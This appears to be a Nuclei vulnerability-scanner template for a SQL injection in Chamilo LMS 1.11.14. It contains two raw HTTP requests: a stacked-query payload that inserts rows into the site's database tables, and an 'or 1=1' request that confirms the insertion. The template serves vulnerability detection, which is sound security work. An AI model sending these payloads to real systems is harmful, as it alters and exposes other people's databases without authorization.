chamilo-lms-sqli: Chamilo 1.11.14 - SQL Injection

id: chamilo-lms-sqli

info:
  name: Chamilo 1.11.14 - SQL Injection
  author: undefl0w
  severity: critical
  description: Chamilo 1.1.14 contains a SQL injection vulnerability. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
  reference:
    - https://packetstormsecurity.com/files/162572/Chamilo-LMS-1.11.14-Remote-Code-Execution.html
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 10
    cwe-id: CWE-89
  metadata:
    max-request: 2
  tags: chamilo,sqli,vuln

http:
  - raw:
      - |
        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type=image&field_id=image&tag=image&from=image&search=image&options=["test'); INSERT INTO extra_field_rel_tag(field_id, tag_id, item_id) VALUES (16, 16, 16); INSERT INTO extra_field_values(field_id, item_id,value) VALUES (16, 16,'{{randstr}}'); INSERT INTO extra_field_options(option_value) VALUES ('{{randstr}}'); INSERT INTO tag (id, tag, field_id,count) VALUES(16, '{{randstr}}', 16,0) ON DUPLICATE KEY UPDATE     tag='{{randstr}}', field_id=16, count=0;  -- "]
      - |
        POST /main/inc/ajax/extra_field.ajax.php?a=search_options_from_tags HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        type=image&field_id=image&tag=image&from=image&search=image&options=["test') or 1=1 -- "]

    matchers:
      - type: dsl
        dsl:
          - 'contains(body_2, "{{randstr}}")'
# digest: 4a0a00473045022100d5cb5e1bf46accc32009cdd2ab0c7607f12564628df09fa7466a08ac76b771830220516bdff7ac33d5d5c9d24c56f862e824b0d6b0c19a65313a314bf353517d8a0c:922c64590222798bb761d5b6d8e72950